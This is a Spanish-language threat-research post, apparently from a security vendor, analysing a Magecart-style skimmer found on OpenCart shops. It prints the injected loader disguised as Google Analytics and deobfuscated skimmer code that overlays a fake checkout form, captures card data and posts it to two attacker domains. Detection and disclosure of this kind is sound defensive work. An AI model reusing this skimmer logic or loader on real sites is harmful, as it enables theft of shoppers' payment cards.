Resumen: overlay de checkout falso en OpenCart con skimmer de doble C2
- La plataforma olvidada: Magento se lleva toda la cobertura de Magecart. OpenCart mueve miles de tiendas del este asiático con casi ninguna cobertura de este tipo, y precisamente por eso esta campaña vivió ahí. Los atacantes se mudan a la plataforma que tu lista de proveedores olvidó.
- Cómo funcionó: El script inyectado se disfrazaba de Google Analytics o Tag Manager, decodificaba en Base64 hacia /tagscart[.]shop/cdn/analytics.min.js, ocultaba el formulario de pago real, lo reemplazaba y luego enviaba por POST los datos de la tarjeta tanto a ultracart[.]shop como a hxjet.pics como doble C2. cside marca comportamientos anómalos de scripts, como loaders que imitan a GA cargando desde dominios inusuales antes de que se renderice el checkout.
- Hazlo ahora: Si usas OpenCart o cualquier carrito que no sea Magento con tráfico del este asiático, no des por hecho que Magecart te va a saltar. Pon inspección de scripts en tiempo de ejecución delante del checkout esta semana, o descubre el skimmer meses después, cuando aparezca un cargo de 47,80 € de un proveedor desconocido.
¿Poco tiempo? Consulta el bloqueo de Magecart y skimmers en el navegador de cside. Cubre todo lo de abajo en un solo despliegue.
Hemos detectado un ataque de tipo Magecart dirigido a la plataforma CMS OpenCart. La campaña parece estar enfocada en sitios de comercio electrónico del este asiático. Magecart se ha convertido en un término usado como sinónimo de los ataques del lado del cliente, y su nombre proviene de Magento + Cart.
Cómo ocurrió el ataque de inyección de scripts
El script malicioso se inyecta directamente en la página de aterrizaje del sitio web. Está oculto entre integraciones legítimas de terceros como Facebook Pixel, Meta Pixel y Google Tag Manager. Comportamiento típico de un ataque del lado del cliente.
Aquí está el fragmento que contenía el malware inyectado:
<!-- End Facebook Pixel Code -->
<!-- Meta Pixel Code -->
<!-- Google Tag Manager -->
<script type="text/javascript">
(function(i,s,o,g,r,a,m){
i['Google'+'Analytics'+'Objects']=r;
a=s.createElement(g), m=s.getElementsByTagName(g)[0];
if(i.location['href'].indexOf(i.atob(r)) > 0){
a.async=1;
a.src=''+i.atob(o);
m.parentNode['insertBefore'](a,m);
r=1;
}
})(window,document,'Ly90YWdzY2FydC5zaG9wL2Nkbi9hbmFseXRpY3MubWluLmpz','script','L'+'w'+'='+'=', '//www.google-analytics[.]com/analytics.js','ga');
</script>
<!-- End Google Tag Manager -->
A primera vista parece una integración normal de Google Analytics o Tag Manager, pero no lo es.
El payload decodificado en Base64 apunta a:
/tagscart[.]shop/cdn/analytics.min.js
Una vez que este script se carga:
- Crea un elemento
- Establece su src apuntando al archivo analytics.min.js malicioso.
- Se inyecta en la página antes de cualquier etiqueta de script existente.
Comportamiento del script malicioso
El script alojado en /tagscart[.]shop/cdn/analytics.min.js estaba fuertemente ofuscado.
Algunas técnicas utilizadas:
- Referencias de caracteres hexadecimales (indexación con 0x...)
- División de arrays y recombinación dinámica (.split('|'))
- Uso peligroso de eval() para ejecutar código decodificado dinámicamente
- Ejecución silenciosa mediante try { onLoad(); } catch {}
Tras la desofuscación
Estas son las partes más importantes:
// #################### C2 INFRASTRUCTURE ####################
var sAdsUrl1 = '//ultracart[.]shop/g.php'; // Servidor C2 malicioso
var sAdsUrl2 = '//hxjet.pics/g.php'; // Servidor C2 de respaldo
// #################### FAKE FORM INJECTION ####################
// Inyección en el flujo estándar de pago
function onTimerStd() {
// ... (omitido por brevedad)
var sHtml = '<div class="cctdQKvkR-form-container" style="..." id="ccAq1TBAY_form_main"> <!-- Fake payment form HTML --> </div>';
vTargetBlocks.insertAdjacentHTML('beforeend', sHtml); // Inyectar formulario falso
// Configuración de la máscara de entrada
(new InputMask).Initialize(document.getElementsByName("payment[cc_number]"), {
mask: "9999 9999 9999 99999999", // Formato de tarjeta de crédito
placeHolder: "Valid Card Number"
});
// ... igual para los campos de fecha y CVC
}
// #################### DATA CAPTURE EVENTS ####################
var vPaymentElements = ['payment[cc_number]', 'payment[date]', 'payment[cc_cid]'];
// Adjuntar listeners a los campos de pago
for (var i = 0; i < vPaymentElements.length; ++i) {
var hEl = document.getElementsByName(vPaymentElements[i])[0];
if (hEl) {
hEl.addEventListener('blur', mainListener); // Capturar cuando el foco abandona el campo
hEl.addEventListener('keydown', mainListener); // Capturar pulsaciones de teclas
hEl.addEventListener('paste', mainListener); // Capturar datos pegados
}
}
// #################### DATA VALIDATION ####################
function mainListener(e) {
var iCodeLength = 3;
try {
if (document.getElementsByName('payment[cc_number]')[0].value[0] == '3')
iCodeLength = 4 // Ajustar validación para tarjetas Amex
} catch (e) {}
// Comprobaciones de validación antes de la exfiltración
if (document.getElementsByName('payment[cc_cid]')[0].value.length < iCodeLength)
return; // Exigir longitud mínima de CVC
if (document.getElementsByName('payment[date]')[0].value.length < 7)
return; // Exigir fecha de vencimiento completa
// ... (lógica de exfiltración de datos)
}
// #################### DATA EXFILTRATION ####################
function sendData(sUrl, sData) {
var xmlhttp = getXmlHttp();
xmlhttp.open('POST', sUrl, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send('d=' + encodeURIComponent(sData) + '&m=' + iMethod.toString() + '&p=' + iPid.toString());
}
function mainListener(e) {
// ... (comprobaciones de validación)
var sDump = JSON.stringify({
"u": window.location.href, // Capturar la URL actual
"f": vData // Datos del formulario robados
});
sDump = Base64.encode(sDump); // Codificar los datos
iMethod = 1;
sendData(sAdsUrl1, sDump); // Enviar al primer C2
sendData(sAdsUrl2, sDump); // Enviar al C2 de respaldo
}
// #################### FORM HIDING ####################
function onTimerStd() {
// ... (tras la inyección)
var hDiv = document.getElementById('ccAq1TBAY_form_main');
if (hDiv != null) {
hDiv.style.display = 'none' // Ocultar el formulario de pago original
}
// ... (mostrar el formulario falso)
}
Funcionalidad maliciosa
- Inyección de formulario de pago falso: crea dinámicamente un formulario de tarjeta de crédito falso (HTML + CSS).
- El formulario falso se inyecta en las páginas de checkout.
- Monitoriza la entrada del usuario en campos como:payment[cc_number]
- payment[date]
- payment[cc_cid]
- Verifica que los campos de la tarjeta parezcan válidos (por ejemplo, longitud del CVC, formato de la fecha de vencimiento).
- Tras la validación, codifica en Base64 y captura los datos (incluida la URL de la página actual) y los envía a://ultracart[.]shop/g.php
- //hxjet.pics/g.php
- El formulario de pago original se oculta.
- Se muestra en su lugar el formulario falso, con un diseño que lo hace parecer legítimo.
- Implementa un InputMask personalizado para que los campos "parezcan" profesionales (por ejemplo, formateo automático de los números de tarjeta de crédito).
Comportamiento inesperado
A diferencia de algunos ataques Magecart tradicionales, este script de terceros no copia datos del portapapeles. Los usuarios están obligados a introducir manualmente los datos de la tarjeta. Una vez introducidos los datos de la tarjeta, la información se envía de inmediato al servidor del atacante. Después oculta el formulario de pago con tarjeta y le pide al usuario que introduzca los datos de una transferencia bancaria para capturar información sensible adicional.
Página de pago falsa

Página de pago falsa tras introducir la tarjeta, mostrando la página de datos bancarios

Solicitud POST capturada hacia el C2

Datos en Base64 enviados

Payload decodificado

Cómo monitorizamos el uso
Para rastrear el ataque y ver cómo se gestionan, usan o venden los datos, usamos canary tokens. Esto es lo que encontramos:
En la mayoría de los casos, vemos el uso de la tarjeta robada en los días siguientes. Aquí, tardó varios meses.
En este ejemplo vimos dos usos. El primero fue una transacción de pago por teléfono desde EE. UU. el 18 de junio.

Una segunda transacción se realizó por 47,80 € a un proveedor desconocido.

Rastrear estos ataques nos da una mejor comprensión de quién está detrás de ellos y de cómo evolucionan estas campañas.
Nuestra plataforma de detección marcó este ataque mediante una combinación de:
- Comportamiento anómalo de scripts: scripts que simulan ser legítimos (Google Analytics / GTM) pero que cargan contenido desde dominios inusuales.
- Patrones de JavaScript ofuscado: uso de eval dinámico, decodificación en base64 y manipulación sospechosa de arrays.
- Detección de sustitución de formularios: vigilancia de formularios falsos inyectados en flujos de checkout conocidos.
Monitorización de dominios de amenazas: tagscart[.]shop, ultracart[.]shop y hxjet[.]pics ya estaban marcados en nuestros feeds de inteligencia de amenazas.
Notas finales
En cside, monitorizamos continuamente scripts de terceros y activos web para detectar y prevenir ataques del lado del cliente como este.
Nuestra plataforma de detección está diseñada para:
- Identificar inyecciones de scripts no autorizadas
- Analizar comportamientos sospechosos en tiempo real
- Bloquear ataques antes de que se puedan robar datos sensibles de los clientes
Ayudamos a las empresas a proteger la confianza de sus clientes manteniéndose por delante de las amenazas del lado del cliente en constante evolución.









